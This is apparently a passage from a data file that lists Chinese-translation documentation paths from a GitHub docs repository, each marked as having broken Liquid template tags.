-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md,broken liquid tags -translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md,broken liquid tags -translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md,broken liquid tags -translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md,broken liquid tags -translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md,broken liquid tags -translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md,broken liquid tags -translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,broken liquid tags -translations/zh-CN/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md,broken liquid tags -translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md,broken liquid tags -translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags -translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,broken liquid tags -translations/zh-CN/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md,broken liquid tags -translations/zh-CN/content/actions/learn-github-actions/expressions.md,broken liquid tags -translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md,broken liquid tags -translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md,broken liquid tags -translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,broken liquid tags -translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,broken liquid tags -translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md,broken liquid tags -translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,broken liquid tags -translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,broken liquid tags -translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md,broken liquid tags -translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md,broken liquid tags -translations/zh-CN/content/actions/quickstart.md,broken liquid tags -translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/about-workflows.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/events-that-trigger-workflows.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md,broken liquid tags -translations/zh-CN/content/actions/using-workflows/storing-workflow-data-as-artifacts.md,broken liquid tags -translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md,broken liquid tags -translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-github-connect/index.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-applications.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags -translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,broken liquid tags -translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/index.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md,broken liquid tags -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md,broken liquid tags -translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags -translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,broken liquid tags -translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,broken liquid tags -translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,broken liquid tags -translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md,broken liquid tags -translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md,broken liquid tags -translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/overview/about-data-residency.md,broken liquid tags -translations/zh-CN/content/admin/overview/about-github-enterprise-server.md,broken liquid tags -translations/zh-CN/content/admin/overview/system-overview.md,broken liquid tags -translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags -translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags -translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md,broken liquid tags -translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md,broken liquid tags -translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags -translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md,broken liquid tags -translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags -translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md,broken liquid tags -translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,broken liquid tags -translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,broken liquid tags -translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,broken liquid tags -translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,broken liquid tags -translations/zh-CN/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md,broken liquid tags -translations/zh-CN/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md,broken liquid tags -translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,broken liquid tags -translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags -translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md,broken liquid tags -translations/zh-CN/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md,broken liquid tags -translations/zh-CN/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md,broken liquid tags -translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md,broken liquid tags -translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md,broken liquid tags -translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,broken liquid tags -translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,broken liquid tags -translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,broken liquid tags -translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md,broken liquid tags -translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,broken liquid tags -translations/zh-CN/content/authentication/troubleshooting-ssh/error-key-already-in-use.md,broken liquid tags -translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-github-copilot/index.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,broken liquid tags -translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md,broken liquid tags -translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md,broken liquid tags -translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md,broken liquid tags -translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md,broken liquid tags -translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags -translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags -translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md,broken liquid tags -translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md,broken liquid tags -translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md,broken liquid tags -translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags -translations/zh-CN/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md,broken liquid tags -translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md,broken liquid tags -translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md,broken liquid tags -translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,broken liquid tags -translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md,broken liquid tags -translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md,broken liquid tags -translations/zh-CN/content/codespaces/codespaces-reference/security-in-github-codespaces.md,broken liquid tags -translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md,broken liquid tags -translations/zh-CN/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md,broken liquid tags -translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,broken liquid tags -translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md,broken liquid tags -translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md,broken liquid tags -translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md,broken liquid tags -translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md,broken liquid tags -translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md,broken liquid tags -translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md,broken liquid tags -translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md,broken liquid tags -translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md,broken liquid tags -translations/zh-CN/content/copilot/overview-of-github-copilot/about-github-copilot.md,broken liquid tags -translations/zh-CN/content/copilot/quickstart.md,broken liquid tags -translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,broken liquid tags -translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md,broken liquid tags -translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags -translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags -translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,broken liquid tags -translations/zh-CN/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md,broken liquid tags -translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,broken liquid tags -translations/zh-CN/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md,broken liquid tags -translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md,broken liquid tags -translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,broken liquid tags -translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,broken liquid tags -translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,broken liquid tags -translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,broken liquid tags -translations/zh-CN/content/developers/overview/about-githubs-apis.md,broken liquid tags -translations/zh-CN/content/developers/overview/managing-deploy-keys.md,broken liquid tags -translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags -translations/zh-CN/content/developers/webhooks-and-events/events/issue-event-types.md,broken liquid tags -translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md,broken liquid tags -translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md,broken liquid tags -translations/zh-CN/content/discussions/guides/finding-your-discussions.md,broken liquid tags -translations/zh-CN/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md,broken liquid tags -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md,broken liquid tags -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags -translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md,broken liquid tags -translations/zh-CN/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,broken liquid tags -translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,broken liquid tags -translations/zh-CN/content/get-started/exploring-projects-on-github/following-organizations.md,broken liquid tags -translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md,broken liquid tags -translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,broken liquid tags -translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,broken liquid tags -translations/zh-CN/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md,broken liquid tags -translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md,broken liquid tags -translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md,broken liquid tags -translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,broken liquid tags -translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md,broken liquid tags -translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md,broken liquid tags -translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md,broken liquid tags -translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md,broken liquid tags -translations/zh-CN/content/get-started/quickstart/be-social.md,broken liquid tags -translations/zh-CN/content/get-started/quickstart/create-a-repo.md,broken liquid tags -translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags -translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md,broken liquid tags -translations/zh-CN/content/get-started/using-git/about-git-rebase.md,broken liquid tags -translations/zh-CN/content/get-started/using-github/github-mobile.md,broken liquid tags -translations/zh-CN/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md,broken liquid tags -translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md,broken liquid tags -translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md,broken liquid tags -translations/zh-CN/content/github-cli/github-cli/quickstart.md,broken liquid tags 